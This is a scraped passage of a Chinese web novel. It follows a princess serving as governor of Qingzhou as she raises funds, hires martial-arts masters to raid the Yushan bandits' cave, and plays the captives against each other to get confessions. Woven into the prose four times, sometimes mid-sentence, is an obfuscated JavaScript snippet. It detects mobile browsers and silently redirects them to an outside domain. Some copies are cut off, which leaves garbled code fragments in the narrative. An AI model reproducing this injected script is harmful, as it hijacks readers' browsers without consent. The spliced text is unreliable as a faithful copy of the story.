“好像是的。我记得,当时护卫们曾经刺中过山匪的身体,但山匪没流血,好像没事人一样。” “山匪杀死护卫,用了多长时间?” “估计只有一炷香时间。” 萧柠皱眉:“这么快?” “是啊,我们也没想到……早知道,我们就聘请更厉害的高手了……那些山匪果真有些本事,难怪这么多年都没被抓到。” “你们请的护卫都是什么人?来自哪里?” “那六名护卫是灵鹤派的人,那个门派以接任务、获取报酬为生。我们找的已经是灵鹤派比较厉害的高手了。” “这么说,灵鹤派还有更厉害的?” “应该有,但比那六人厉害的,估计也就只有两三个前辈吧。” “那六个护卫的尸体呢?” “凤城官府登记之后,已经交还给灵鹤派的人。” 这时,衙役来报:“大人,门外有个少年,带着六具棺材过来,说是有事求见刺史大人。” 萧柠心里一惊,这该不会是某户人家因为死了人,就来官府闹事吧? 这样的事情时有发生,比如有些百姓生病了,死在医馆,他们的家人不仅会去医馆闹事,也会来官府闹事,以求获得更多的赔偿。 有些百姓突发疾病,死在大街上,他们的家人可能会要求沿街的店铺赔偿,并来官府闹事。 因此,萧柠道:“你让他先在门外等一会,本官还有案子没审理完。” 衙役道:“大人,那个少年说,他要说的是就是跟虞山山匪有关。” 萧柠惊讶道:“那就将他叫进来吧。” 门外走进来一个瘦弱的少年,他朝萧柠跪下道:“大人,青州境内土匪为患,您要不要管?” 萧柠道:“本官正准备剿匪,你是不是来提供线索的?你带来的棺材里,是不是躺着你的家人?” “不,他们不是我的家人,而是我的六名师兄。不过,我们感情很好,也跟家人差不多。他们是被虞山的山匪杀死的,如果大人决定剿匪,我愿尽绵薄之力。” 萧柠忽然灵光一闪。这两名商人聘请了六名护卫,而这少年刚好也死了六名师兄,难道…… 萧柠问道:“你是不是灵鹤派的人?你那六位师兄,是不是为了保护两个商人,才被虞山山匪杀死的?” 少年道:“正是。” 萧柠又对那两名商人道:“你们互相认识一下吧。” 那两名商人也很惊讶,没想到他们会在这里遇见那六名护卫的师弟。 商人何从简对那少年道:“我们俩就是聘请你六位师兄的人,可惜他们不敌山匪,全都被杀。你一个半大的孩子,能做什么?还是赶紧带你的师兄们回去安葬吧。” 那少年眼神坚毅:“不,我一定要为我师兄们报仇。之前我去找了凤城官府,凤城的长官说剿匪一事需从长计议,他们暂时无能为力。因此,我才来到凤城上级的青州。如果青州长官也不出面,我就自己报仇。” 商人李珏也劝道:“连你的六名师兄都不是山匪的对手,你去了也是白白送死。你知道这次来抢劫我们的山匪有多少人吗?只有两个!两个人,就杀了你六个师兄,而且是在极短的时间内杀死的。” 这少年道:“我明白。我不会自己一个人跑去报仇,自然会制定一个周密的计划。” 李珏道:“你以为我们之前没做过计划吗?我们也以为自己的计划非常保险,可还是被山匪识破了。我们的宝物被抢,还好山匪不杀普通人,我们才留得性命。” 那少年愤然道:“两位既然怕了山匪,就不必再说了。无论你们说什么,都动摇不了我的决心。” 萧柠有几分佩服这少年,便问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147077|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你叫什么名字?” 这少年道:“我叫明梁。” “明梁,你有什么计划吗?” “我想,山匪最大的优势在于战斗力很高,我的师兄们错误估计了双方的实力,以为凭他们六人,应该能平安护送两位商人了。但是没想到,他们六个竟然不敌对方两人。 所以,要剿灭山匪,必须请到江湖上顶尖的高手。 我有一张江湖巅峰榜,上面从高到低记载了江湖上排名前50的高手。 前十名的高手有些归隐了,有些行踪不定,也有的地位过高,不见外客。总之,他们都不太可能前来帮忙。 所以,我的计划是,从排行第11的高手开始请,一直请到排行第50的高手。这几十人当中,如果有十几人愿意相助,应该就差不多了。 只是,要请他们出山,需要很高的价格。只要大人您出得起价钱,我就帮忙联络这些高手。 我的师兄们武功虽高,但无一人上榜。我估计,虞山土匪的武力值,应该可以比肩江湖上的一流高手。” 萧柠道:“剿匪的钱,我们已经筹备了一部分。只是,不知你说的那些高手,需要多少钱才能请得动?你帮忙预估一个总的金额,我看看还差多少。另外,只凭你一人,是不是有能力见到那么多高手,并且说动他们? 万一遇上几个脾气不好的,不仅不答应你,还伤害你怎么办?” “大人无需担忧。这些高手当中,有的独来独往,不问世事,可能难以请动;但是有的人急公好义,喜欢拔刀相助。如果我去向他们哭诉,他们可能会立刻同意帮我报仇,甚至不收钱。 还有一些高手明码标价,只要出得起钱,他就会帮你做任何事。也有一些人跟我们灵鹤派有交情,我请门中长老出面说情,应该可以说动。 总之,我有把握请动十来个人。但具体需要多少钱,还得看我请来的是哪些人。到时候我会给您计算一下具体的金额。” “好,那需要花费多少时间?” “我花两个月去联络各个高手,两个月后,无论结果如何,我都来向您复命。” 萧柠想了一下,虞山的山匪并不会频繁下山抢劫,他们往往一年才出来几次。两个月之后再剿匪,应该来得及。 因此,萧柠同意了,对明梁说道:“明梁,你尽量找那些住得离青州近的高手,这样可以节省时间。一旦找到10个愿意帮忙的,就赶紧来报告本官。既然他们已经排在前五十,想必随便来十个,对付虞山的山匪应该够用了。最好能在一个月内找到10人。” “是,小人会尽快办好。” 商人何从简、李珏又说要回家。 萧柠觉得他们已经提供不了更多线索了,就允许他们回去了。 明梁暂时把他师兄们的尸体安放在义庄,然后去请那些巅峰榜上的高手。 萧柠觉得,自己应该多筹点钱。 于是,她打算去向宗室们借。 萧玉蟾知道了,对萧柠道:“公主,要不我先出5000两,后续如果不够了,我再凑一些。” 135. 凑钱(修) 萧柠道:“五千两不是小数目,我的想法是,让在青州的宗室们每人少出一点,加起来有个一两万两就可以了。我先去会会其他宗室,看能筹到多少钱,最后再来找你吧。” “也好。我和瞿明修手里都有点资产,如果还是不够,我回去找我父王和几个兄弟们借钱。” “应该不至于到这个地步。” 萧柠挨个去找了青州的宗室们。 他们听说要凑钱剿匪,有的说自己缺钱,也有的象征性地出了几十两,也有出一两百两的,也有出五百、八百两的。 凡是出得多的宗室,都对萧柠有所求。有的希望萧柠能帮他们在皇上面前美言几句,增加他们的食邑、土地;有的是闲散宗室,希望皇帝能授予他们一官半职;也有的觉得自己的封地不够肥沃,希望萧柠帮他们换封地的。 萧柠都一一记下他们的诉求。等以后剿匪成功,她写一封奏折给皇上,陈述这些宗室的剿匪功劳,让皇上加恩于他们,问题应该不大。 但她就怕自己钱和人都借来了,剿匪失败,钱打了水漂,那可就背上许多人情债了。 只是,事到如今,也只能背水一战了。 还有的宗室不出钱,但说可以出人,等萧柠去剿匪,他们让自己的家丁跟着一起去。 但萧柠没有马上答应,剿匪太危险了,普通的家丁去了也是当炮灰。 这天,萧柠来到了东湖县主家。 东湖县主论辈分是萧柠的堂姑,她非常热情地接待了萧柠,还表示愿意出2000两银子剿匪。 萧柠喜出望外,向她道谢:“多谢姑姑。等来日剿匪成功,银子会连本带息一并归还。” 东湖县主亲切地挽着她的手:“别客气,咱们可是一家人。对了,我叫你妹妹出来见你。” 萧柠吓了一跳,以为萧梦苒在这里。但转念一想,这应该不可能,东湖县主说的应该是自己的女儿。 果然,一个可爱、瘦小的女孩走了过来。她看着只有十一二岁,眼神清澈,举止文静,并不像她母亲一样自来熟。 东湖县主拉着那女孩,对萧柠道:“柠儿,这就是你妹妹唐绿漪,你能不能把她带去?” 萧柠惊讶:“带她去干什么?” “我听说,嘉陵王家的庆安县主在你身边做事。庆安县主是你妹妹,绿漪也是你妹妹。你让绿漪也待在你身边做个小官,自家人用着也放心不是?别看绿漪小,她也读过很多书呢。” 萧柠笑道:“姑姑,当官不是那么容易的。我也是参加科考、考中进士,才被授予官职。庆安县主不被允许参加科考,所以我只能留她在身边,当个私人幕僚,这不算正经官职。绿漪妹妹还小,而且离开家怕是会思念父母吧,您还是让她在您身边多待几年吧。” “私人幕僚也行啊,我们家绿漪聪明好学,也能当好幕僚的。绿漪,你说对不对?” 唐绿漪有些犹豫地说道:“娘,这得看大公主身边还需不需要人……而且,我一个小孩,跟她去干什么?添乱不说,她还得分心照顾我。” “你这孩子,怎么说话呢?你的字写得不是挺好的吗,连师傅都夸你呢。你怎么不把自己的字拿来给姐姐看看?” “字有什么好看的?” “你这孩子,叫你去你就去。” 唐绿漪只得回房拿字帖。 东湖县主嫁给了唐家,所以她女儿姓唐。唐绿漪算是萧柠的远房表妹。 东湖县主对萧柠笑道:“绿漪这孩子内向,还比较谦虚,明明很优秀,她却不会展示出来…… 柠儿,绿漪的适应能力很强的,你把她带上,让她跟着你学点本事,长长见识,有空的时候还能一起读书,这多好。你当着这么大的官,身边没几个自己人可不行。 庆安县主虽然跟你关系更近,但是她毕竟已经成亲,有孩子了,没法把全部精力都用在公务上。绿漪她年纪小,还能帮衬你很多年呢。 我还听说,庆安的夫婿瞿明修,是你帮她找的。我们绿漪以后要是也能找个这么优秀的夫婿,我和你姑父也就可以放心了。” 萧柠哭笑不得:“姑姑,庆安县主的夫婿是她自己挑的,不是我帮忙找的。” “自己挑也好啊,庆安跟在你身边,所以才能挑到优秀的夫婿。我们绿漪以后还没着落呢,你这当姐姐的可得帮着点……” 听到东湖县主越扯越远,萧柠只得赔笑。 要拿别人的银子,可真是不容易啊。 没一会儿,唐绿漪拿着自己练习的字帖过来了。 萧柠见她的字果真写得娟秀工整,像是下过多年苦功的,便称赞了几句。 唐绿漪听见夸赞,只是微微脸红。 东湖县主对她道:“你还不谢谢大姐姐?” 唐绿漪道:“谢谢大公主……” “叫什么大公主,见外了不是?这是你的嫡亲表姐,现在当着整个青州的刺史,前途无量。表姐今日难得来咱们家,你可要多跟表姐学学。” “娘,你别说了,怪尴尬的。” “诶,你这孩子……” 萧柠有点想笑,但忍住了。她倒不介意身边多一个帮手,唐绿漪既然识文断字,看起来也挺乖巧的,把她带上其实也不是什么大事。 既然有求于人,这点小事顺手办了也没什么。 因此,萧柠问唐绿漪道:“绿漪妹妹,你跟着我走,以后帮我做事,愿意吗?我会给你俸禄。” 唐绿漪有些兴奋,腼腆地说:“但是……但是我年纪小,见识也少,我怕拖后腿……” “不会的,我会让你做你能胜任的事。” “那如果大公主不嫌弃的话,我就跟您去……” 东湖县主喜出望外,赶紧收拾好唐绿漪的物品,又给了萧柠二千两的银票。 她嘱咐道:“柠儿,这孩子的未来,可都在你身上了。你以后也要让她考中进士啊。” 萧柠揉了揉额头:“姑姑,这我可不敢保证,总之我尽心培养她就是了。” “好好好,那姑姑就放心了。” 萧柠把唐绿漪带回了州衙,交给萧玉蟾,说道:“玉蟾,以后这孩子跟咱们一起读书,有什么简单的事可以交给她做,比如抄写文书、算账一类的。但也别安排太多活,免得累着她。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147078|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧玉蟾笑道:“好。” 萧柠给唐绿漪安排了一个房间,唐绿漪虽然有些腼腆,但很快适应了环境。 她每天有半天的空闲时间,可以休息或读书。另外半天,她就跟着萧玉蟾做事,或是去小吏那边领点活。 她话不多,做事认真,上手快,倒是挺受欢迎的。 ———— 大约二十天后,灵鹤派的明梁就回来了。 他对萧柠说道:“大人,我已经找到了十个愿意帮忙剿匪的江湖高手,其中三个不要钱,另外七个的费用,加起来一共是一万四千两。” 萧柠算了算这段时间筹到的钱,还差两千两左右。 她和萧玉蟾、瞿明修等人一起凑了一下。 钱是凑够了,但还缺少山匪的具体位置。 这段时间官府暗访了许久,都没查出山匪的位置,因此大家都不敢轻举妄动。 萧柠想到了系统,便在脑海里问道:“多宝,能帮我查查虞山山匪的具体位置吗?” 系统道:“可以,不过虞山范围过大,需要5万积分才能检索。” “好的。” “积分已扣除,现在的积分是18800。检索开始,请稍等……” 萧柠等了半个时辰,才等到系统的回复:“查到了,那伙山匪的老巢在虞山中心点往东20里的地方,那里有一个很大的山洞,是他们日常生活之处。洞口有巨石机关作为遮掩,平时,巨石放下,从外面就看不见洞口了。” “原来如此。有什么明显的标志物吗?” “有,洞口有一棵十人合抱的大榕树,榕树的根部像是一只手的形状。” “山匪有多少人?” “二十多个。” “二十多个首领?” “不是,一共才二十六个。” 萧柠很惊讶,但转念一想又很合理。因为人少,所以他们逃得快,不太会露出马脚。 他们每个都身怀绝技,所以不会失手被官兵捉住。 有时候喽啰多了,反而误事。一旦喽啰被官府抓到,可能就会供出山寨的位置。 这个猜测,倒是跟瞿明修的想法一致。 萧柠觉得,如果那伙山匪真的每个都是一流高手,只怕凭自己请来的十个人,未必捉得住他们。 不过,捉不住全部,捉到两三个也是好的。 萧柠决定修改剿匪计划,先全力战斗,如果发现不敌,就想办法抓几个山匪过来,至少能问出一些东西。 萧柠把自己的计划跟十个江湖高手说了,不过他们的表情有些不以为然。 他们都是江湖巅峰榜上的高手,能赢过他们的人不多,所以他们不认为虞山的山匪有什么好怕的。 其中一个侠客道:“刺史大人,您放心,我们定会手到擒来。” 萧柠道:“我只希望各位大侠能够平安归来,不要有人伤亡。” “伤亡是不可能的,若论单打独斗,也许有人能胜过我们。但我们十个联手,几乎可以说是天下无敌了。” “那就有劳诸位了。不知要多少官兵陪同你们前去?” 136. 妙计(修) 有个年老、矮胖的侠客道:“不必了,普通官兵去了也是送死,我们还要分心保护他们。如果您这边有高手的话,可以跟我们一起去。” 萧柠道:“我身边倒是有一些护卫、暗卫之类的,但不知他们的功夫够不够。” 一个瘦得像竹竿的侠客道:“您可以让他们展示一下功夫,我们看一下。” 于是,萧柠就把护卫们叫来,还有萧玉蟾夫妇的暗卫们也一起叫来。 他们各自展露功夫,那几名高手时而点头,时而摇头。 最后,他们挑选了鸾音、六幺、时九等五人,跟他们一起去。 萧柠问道:“五个够了吗?” 一名侠客道:“对的人,五个就够了。程度不够的,带上也是累赘。明梁小子,你也留下。” 明梁有些不服:“我也能打山匪!” “不,你不能。” 明梁败下阵来,垂头丧气地说道:“好吧,那我就不去了。” 萧柠道:“请诸位等一下,军中还会有人来。” 萧柠之前给任将军写信,说自己要剿匪,请任将军派几名高手来协助。 任将军回信说,会让自己的亲信邢玉楼带一些军中的高手过来。 等了一会,邢玉楼果真带着三十多人来了。 那三十多士兵,看着都勇猛精悍,战斗力很强。 有个年老侠客道:“请他们展示一下武功。” 邢玉楼便和手下将士们两两对打,展示自己的功夫。 最终,几名侠客只挑选了邢玉楼一人,让其他士兵回去。 邢玉楼道:“我特意带他们来协助剿匪,他们每个都有以一当十的本领……” 有个侠客摇头道:“以一当十,还是不够的。留着他们的小命吧。” 邢玉楼只得让其他士兵回去。 萧柠拿来地图,标注出山匪所在的位置。 明梁问:“大人,您怎么知道山匪的位置?” 萧柠含糊其辞:“我是用其他方法查出来的,总之一定准确。择日不如撞日,诸位现在出发,打他们一个措手不及。干粮和水已经备好,请诸位带上。” 几名侠客点头道:“我们这就去了。” 萧柠问道:“我和官兵在虞山山脚等候?” “不必等候,我们若是打得过,直接绑了人回官府便是。若是打不过,山匪们四下奔逃,逃窜到山脚,你们会有危险。” 萧柠觉得他们说的有道理,因此便同意在官衙里等着。 萧柠单独对邢玉楼道:“邢副将,今日去剿匪的,除了你和几个侍卫,就是那十个江湖人士了。我并不认识他们,怕他们拿了钱就跑,不去剿匪,你帮忙盯着点。 如果他们果真卷款潜逃,你也别拦着他们,他们的武功都很高。你只需要回来禀告我就是,还有就是把鸾音她们平安带回来。 如果他们确实去剿匪了,你随时观察战场情况,打得过时尽量留几个活口,打不过时让众人逃跑,不要硬拼。” 邢玉楼点头:“公主放心,末将明白。” 此去虞山要几天路程,剿匪更是不知道要多久,萧柠心中有些担心。 她把明梁留下,跟侍卫们同住。一方面是照顾明梁,一方面也有拿明梁当人质的意思。 虽然那十个江湖高手跟明梁都不是亲朋好友,但明梁在萧柠这里,至少能拿捏住灵鹤派。 而且,如果那十个高手真的拿了钱就跑,举荐他们的明梁也是有责任的,到时候萧柠可以要求明梁赔一部分钱。 明梁比较沉默,每天除了练武,就是望着虞山的方向,大概是盼着剿匪的人能带来好消息。 萧柠也很记挂着剿匪的事,但她有太多事要忙,便先集中精力于其他事了。 大约半个月后,那群剿匪的侠客回来了,带回了三名匪徒。侠客们大多都受了伤,而三名匪徒则被五花大绑,嘴里也塞了布。 萧柠清点了一下人数,发现少了两人。侠客们说,有两名侍卫在剿匪的时候牺牲了。萧柠有些伤心。 鸾音、六幺、时九都还活着,只是都瘦了一大圈,面色也很苍白。 萧柠问道:“战况如何?匪徒都被杀了吗?” 有个侠客道:“没有,匪徒被杀七人,被擒三人,其余人等四下逃窜,方向各不相同。我们对虞山地形不熟悉,就没有追踪,而是先把活口带回来。另外,在山洞中发现了一些金银财宝,我们带不回全部,只带回一部分。 估计我们离开后,剩下的匪徒会转移财产,也只能等下次再说了。” 萧柠问道:“你们是不是在山中待了好几日?” 邢玉楼道:“是的。我们骑马到了虞山,各自弃马上山,走的都是小径,以隐藏踪迹。为了不引人注意,我们只走路,不施展轻功。走了五天后,我们找到了山匪的老巢,打了他们一个措手不及。 山匪们没想到会有人来,短暂惊慌之后,就有条不紊地跟我们打斗。他们似乎觉得我们肯定不是他们的对手,所以并不担心。 谁知打了一会之后,我们双方竟有些势均力敌。 虽然公主有吩咐,尽量抓活口,但是我们当时的情况,必须先合力击杀几个山匪,削弱他们的战斗力,才有可能自保。 因此,我们和几位侠客一起杀了其中的七人。 七名山匪被杀后,匪徒们的声势减弱了一些,也不太自信了,因此且战且退,每个匪徒的腿都朝向不同的方向。 我们知道他们要逃跑,但如果分头去追,很容易被各个击破。因此,我们达成共识,让一部分匪徒跑掉,我们这十几人合力追赶离我们最近的三名匪徒,四五人追一个,这样也能抓几个活口。最终,我们抓到了三名匪徒。” “那死了的七个匪徒呢?尸体有没有带下来?” “有,我们暂时存放在城外的义庄,因为大白天带着几具尸体进城太过骇人。” 萧柠对一个小吏道:“你去义庄,把那七具匪徒的尸体带回来。” 小吏道:“是。” 萧柠又问道:“这些匪徒的脸上是不是都戴着人皮面具?你们把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147079|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮面具取下来了吗?” 有个侠客道:“取下来了。那七具尸体的身份,可真是令人大吃一惊。” 萧柠问道:“怎么说?” “其中一具尸体,是江湖巅峰榜上排行第四的剑客。还有一具尸体,是江湖巅峰榜上排行第七的刀客。另外几具尸体,只有两个生面孔,其余几个都是退隐多年的武林耆宿,甚至有开山立派的一代宗师。” 萧柠惊讶道:“怪不得虞山的山匪如此厉害,原来是聚集了天下高手……就连江湖巅峰榜上第四和第七的高手都身在其中,怪不得寻常的武人根本不是他们的对手,他们下山抢劫,一般也只下来一两个人,却都能成功。 这虞山,可真是藏龙卧虎啊。” 萧玉蟾道:“既然他们都是一代名家,为何要自甘堕落,沦为盗匪?” 有个脾气暴躁的老年侠客道:“哼,做正经生意赚钱,哪有抢钱来得快?有些人表面上德高望重,背地里做尽了令人不齿的事。” 萧柠摇了摇头,看向那三名俘虏。 这三个俘虏脸上的人皮面具也都被取下来了,不过萧柠也不认识他们三个,便问其他侠客:“这三个俘虏,你们认识吗?” 一个瘦长如竹竿的侠客冷笑道:“怎么会不认识?这第一个,是云霞门的长老;第二个,是天鼎派的掌门;第三个,是我的师叔,也是我们门派掌管刑罚的长老。” 第一个俘虏和第二个俘虏面露羞惭之色,似乎觉得自己晚节不保;而第三个俘虏对那侠客怒目而视,似乎想骂他。不过,这俘虏嘴里塞了布,也说不出什么话来。 萧柠又是惊讶,又是无奈,道:“没想到江湖门派当中,竟然也有这么多腌臜事啊。” 那年轻侠客道:“哪里都一样,人多的地方禽.兽多,树多的地方蚊虫多。” 萧柠道:“接下来该怎么办?还有十几个山匪逃窜在外,他们每个人的战斗力都很强,就算只有一个人,也能成为祸患。” 那年轻侠客叫高铁胆,他建议道:“大人,可以搞清楚剩下的匪徒的身份,然后让他们的亲朋好友组成剿匪队,进虞山对付他们。 最好是选那些让匪徒没法下手杀的人,比如他们的父母、兄弟、妻儿、爱徒、师长等等。 他们虽然暂时四下逃窜,但很快会重新聚在一起的。他们在虞山肯定不止一处巢穴。只要第二次找到他们的位置,让他们的亲人、好友去抓,应该能成功。” “这个法子不错。不过,要怎么知道剩下匪徒的身份?” 高铁胆指了指那三名俘虏:“这里有三张嘴巴,只要方法得当,他们会开口的。” 说着,高铁胆对萧柠说道:“大人,请允许我做一件事。” 萧柠道:“什么事?” 高铁胆走到萧柠身边,轻声说了几句话。 萧柠笑着点点头。 高铁胆走到三名俘虏身边,拿走他们嘴里的布。 这三名俘虏大口喘气,第三名俘虏更是怒斥高铁胆:“高铁胆,你这欺师灭祖的东西,你敢绑住我?” 137. 争抢(修) 高铁胆冷冷地看着自己的师叔:“请问,你是以师叔的身份跟我说话呢,还是以虞山匪徒的身份跟我说话?” “我……你……” 这第三名匪徒,一时无言以对。 高铁胆对他们三人说道:“你们三人罪大恶极,论理全都死罪难逃。但是,刺史大人刚才答应给我一个活命的名额……” 他还没说完,第三名俘虏便说道:“师侄,高师侄,我们是同门,你会救我的吧?” 第二名俘虏道:“高少侠!你记不记得,你小时候在我们门派住过一阵,我天天带你吃好吃的……” 第一名俘虏道:“高少侠,救我!我把我们门派的武功秘籍全教给你!我还有个侄女,跟你很是般配……” 他们三个争作一团,高铁胆大声道:“安静!这个活命的名额,不是由我决定,而是由你们自己决定。刺史大人说了,谁招供的事情越多,活命的机会就给他。 刺史大人想知道,剩下的16名匪徒,都是什么身份,有什么重要的亲朋好友,或是有什么重要的弱点? 你们的巢穴除了之前被我们找到的那一个,还有没有其他地方?你们这些年都抢劫过什么人,获得过什么宝物? 去虞山当山匪,是谁组织的?在虞山之外,你们还有没有同伙?有没有知情人? 这些事情,每交代一件,计一分。最后分数最高的人,可以活下去。” 这些问题,几乎要把虞山山匪的老底都给掀了。 几个俘虏有些犹豫,不知道该不该说。 这时,第三名俘虏突然开口:“我交代!剩下的16名俘虏分别是管中行、欧阳杰、朱无患……” 其他两名俘虏见状,十分心急,也顾不得其他,一起开口说话。 他们三人抢着说话,一时间话语嘈杂,什么也听不清楚。 高铁胆道:“这样吧,你们先别说话。我在纸上写下一二三三个数字,然后你们抽签,按照抽签的顺序来交代。但是,每个人说话的时间只有20个数的时间,时间一到就要让下一个人说话。 明梁小兄弟,烦请你站在一边数数,从一数到二十。数完后,再从头开始数。” 明梁正想尽一份力,闻言点头道:“好,那速度怎么控制?” “别数太快,也别数太慢,要确保他们能说出几句话,但没法说太多。” “好的,我明白了。” 接着,高铁胆看向萧柠:“刺史大人,烦请您找一位擅长速记之法的官吏,让他来记录这三名俘虏的话。等下这三人说话肯定又快又急,必须有一个反应极快的人在一边记录。” 萧柠点头,对萧玉蟾和瞿明修道:“玉蟾,瞿别驾,就由你们二人速记,等记录完了,两份笔记还能互相对照。” 萧玉蟾和瞿明修皆点头道:“好的。” 所谓速记,就是在极短的时间内记下大量的信息。这就不能把听到的每个字都写下来,而是只记录一些关键词,而且要尽量减少笔画。 但是,在复盘的时候,又能搞清楚自己刚才记录的是什么。 比如,听到“树”这个字,直接用几笔画一棵树,比写字快得多;听到“圆”这个字,直接画一个圈,也很方便。 这既考验随机应变的能力,又考验记忆力,必须是在文字处理上很有经验的人才能做到。 萧玉蟾和瞿明修夫妇都饱读诗书,几乎没有一日不读书写字的。 长年累月下来,总会有手酸的时候,所以有时候肯定会用一两个字来代替一句话,或是用一个符号来代表很多个意思,只要自己看得明白就行。 萧玉蟾和瞿明修都手持纸笔,做好了准备。 高铁胆也准备好了抽签的纸,让三名俘虏抽签。 抽签完毕后,高铁胆道:“你们按照顺序说话,不许在别人的时间里抢着说话,否则减少一次说话的机会。我说开始,你们就说,明梁小兄弟就开始数数,两位长官就开始记录。” 高铁胆把一切安排得明明白白,众人都明白了自己要做的事。他一说“开始”,其中一名俘虏就开始交代。 明梁在一边大声数数,给那名俘虏造成很大的心理压力,那俘虏不禁说得越来越快,吐露出来的事情也越来越多。 20个数一到,马上换另一名俘虏说话。 在一个时辰内,这三名俘虏把该说的都说尽了,萧玉蟾和瞿明修记录下了大量信息。 最终统计结果出来,提供线索最多的,是第三名俘虏,也就是高铁胆的师叔。 高铁胆对他师叔道:“师叔,恭喜你争取到了活命的名额,不过余生要在牢里度过了。” 第三名俘虏松了一口气,而另两名俘虏则心如死灰。 这时,第二名俘虏,也就是天鼎派的掌门突然说道:“虽然虞山山匪的线索已经没什么好交代的了,但我能交代其他重要的事,不知道能不能给个活命的机会?” 萧柠问道:“你先说说是什么事?” “大人可知道为何别人都难以砍伤我们?这是因为我们出去抢劫时,会穿戴金丝软甲。” 萧柠惊讶道:“金丝软甲?这好像是兵部研制出来的防御甲,重量很轻,穿在身上就像衣服一样,能抵御大部分兵器。但是因为制造困难,只有皇上御赐之人能穿,就连很多前线的将军们都没有。” “没错,我们手上有四套金丝软甲,是兵部侍郎靳苍提供给我们的。我们本就武功很高,再穿上金丝软甲,可以说是百战百胜。” “靳苍?是靳妃的弟弟?” “没错。因为我们每次外出抢劫,都只去两三个人,所以四套金丝软甲已经够我们用了。这金丝软甲可不便宜,所以我们只向他买了四套。 平时我们在山里时,不会穿着,所以你们的人突然进攻,我们来不及穿上金丝软甲,战斗力才会减弱。 金丝软甲藏在一个隐秘的地方,所以他们没有发现。” 萧柠道:“你可要为你说的话负责任。靳大人位高权重,你要是攀咬他,可不是闹着玩的。” “我没有说谎。否则,我们身在江湖,怎么会无缘无故知道朝廷大员的名字?靳苍偷偷卖金丝软甲给我们,对外就说这几件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147080|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金丝软甲做坏了,所以销毁了,一直没被其他官员发现。 而他卖给我们的条件,就是获得我们的分红。我们每隔一段时间都会给靳苍送钱,这件事一直是我在办。” “你可有证据?” “如果大人把活命的机会给我,我就提供证据。” 第三名俘虏急道:“这怎么行?你不讲规矩!” 天鼎派掌门道:“生死关头,谁跟你讲规矩?老.子只想活下去!” “我呸!这些年来,我救过你三次,你竟然不念旧情,要跟我抢!” “如果是别的东西,我可以让给你,但这是命啊!我只能先保自己了。” 萧柠盯着天鼎派掌门:“如果你提供的证据确实有效,活命的机会就给你。” 天鼎派掌门大喜,便交代了一些细节。 萧柠命人记下,但暂时按下不表。 她让衙役们把这三名俘虏押入大牢,然后对萧玉蟾和瞿明修道:“你们整理好所有线索了吗?” 萧玉蟾道:“快了,请公主再等半个时辰左右。” 刚才那三名俘虏交代的事情太多,说得又太快,在场的人虽然听见了,也记不住。 所以,只能依靠瞿明修和萧玉蟾二人,把自己记下来的事情分类整理。比如,那十几名匪徒的姓名、人际关系是一类,匪徒们这些年犯下的案子是一类,跟他们有所勾.结的人和势力是一类。 瞿明修和萧玉蟾写字速度很快,条理又很清晰,能用简明的语言描述出事情的始末。 半个时辰后,他们二人整理好了。 萧柠知道他们颇费脑力,便让他们下去休息了。 萧柠道:“有了这些线索,便可以通知这些匪徒的门派或亲朋好友,请他们组成剿匪队。但是,我怕那些门派和亲友因为种种原因不肯参与。” 高铁胆道:“大人请把名单交给我,我带朋友一起去找名单上的人,说服他们一起剿匪。” “好,那就辛苦你了。” 明梁道:“我也一起去。我要为我六位师兄报仇,之前剿匪你们不让我去,现在找人的活总不危险了,也算我一份。” 高铁胆笑道:“行,那你就跟我们一起走。” 高铁胆带着两个朋友,还有明梁,一共四个人,分头去找名单上的人。 而其他几个江湖高手,则各自散去,说是等高铁胆他们回来,有用得着自己的地方,再来找他们便是。 高铁胆和他的两个朋友便是没有收钱的三个江湖高手,另外七个高手都是收钱办事的。那七人只做自己分内之事,不会像高铁胆这样热心,东奔西走。 萧柠也能理解,并不是每一个会武功的人都想做侠客,人家只想挣钱养活自己,也无可厚非。 倒是这高铁胆,看着瘦如竹竿,其貌不扬,没想到侠肝义胆,智勇双全,三两下就把匪徒们的线索套了出来。 